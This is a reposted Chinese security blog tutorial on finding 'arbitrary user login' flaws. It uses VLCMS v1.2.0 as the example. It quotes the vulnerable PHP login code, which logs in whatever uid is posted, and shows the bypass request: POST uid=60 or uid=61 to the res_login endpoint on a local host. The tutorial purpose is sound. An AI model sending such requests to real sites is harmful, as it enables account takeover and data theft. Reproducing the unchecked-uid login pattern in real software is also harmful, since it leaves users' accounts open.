WEB安全

如何挖掘任意用户登录漏洞

字号+ 作者:sqler 来源:转载 2016-11-24 20:21 我要评论( )

如何挖掘任意用户登录漏洞 0x01前言 每周两篇文章打卡。坏蛋100块钱都不给我,好坏好坏的。 0x02什么是 任意用户登录漏洞 几乎 每个网站都有自己的会员系统,有会......

如何挖掘任意用户登录漏洞

0x01  前言   
     每周两篇文章打卡。坏蛋100块钱都不给我,好坏好坏的。


0x02  什么是任意用户登录漏洞
   几乎每个网站都有自己的会员系统,有会员,就有登录机制,如果可以登录其他用户账户,那么就可以窃取其他用户的资料数据。如果配合上脚本的话,甚至可以批量获取用户的数据。对网站来说,任意用户登录是一个很高危的漏洞。


0x03  实战的案例(白盒测试)
     Vlcmsv1.2.0,就拿这套CMS来说吧。
     vlcms/Application/Media/Controller/MemberController.class.php
     post获取uid传进autoLogin()中
  1. public function res_login(){
  2.                 parent::autoLogin($_POST['uid']);
  3.                 echo $this->ajaxReturn(array("status"=>0,"uid"=>$_POST['uid']));
  4.         }
复制代码
     将id传进entity()。
  1. protected function autoLogin($uid){
  2.                 $user =$this->entity($uid);
  3.         /* 记录登录SESSION和COOKIES */
  4.         $auth = array(
  5.             'mid'             => $user['id'],
  6.             'account'             => $user['account'],
  7.             'nickname'        => $user['nickname'],
  8.             'balance'         => $user['balance'],
  9.             'last_login_time' => $user['login_time'],
  10.         );
  11.         session('member_auth', $auth);
  12.         session('member_auth_sign', data_auth_sign($auth));
  13.         }
复制代码
entity中直接根据id查询账户了。。所以只需一个id就能登录任意用户。
  1. protected function entity($id){
  2.                 $data = M('User','tab_')->find($id);
  3.                 if(empty($data)){
  4.                         return false;
  5.                 }
  6.                 return $data;
  7.         }
复制代码

0x04  实战的案例(黑盒测试)
     http://127.0.0.1/vlcms/index.php?s=/member/res_login/
     POST:uid=60


     访问后,返回一串代码。
     

     接着访问http://127.0.0.1/vlcms/index.php?s=/member/,可以看到,已经成功登录账户


     
     访问:post:uid=61
     
     接着访问http://127.0.0.1/vlcms/index.php?s=/member/


     成功登录uid为61的账户


     

4.jpg (199.04 KB, 下载次数: 4)

下载附件  保存到相册

2016-7-25 03:08 上传



0x05  修复建议
     不要用id来判断账户身份。

本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Web/227.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
  • 如何快速利用s02-45漏洞并获取服务器权限

    如何快速利用s02-45漏洞并获取服务器权限

    2017-03-09 13:59

  • 给你一个网站你是如何来渗透测试的?

    给你一个网站你是如何来渗透测试的?

    2017-03-08 14:42

  • 浅谈如何防止csrf攻击

    浅谈如何防止csrf攻击

    2017-03-08 14:37

  • 如何全面防御Webshell(下)

    如何全面防御Webshell(下)

    2017-01-03 14:27

网友点评
暂时未开启评论功能~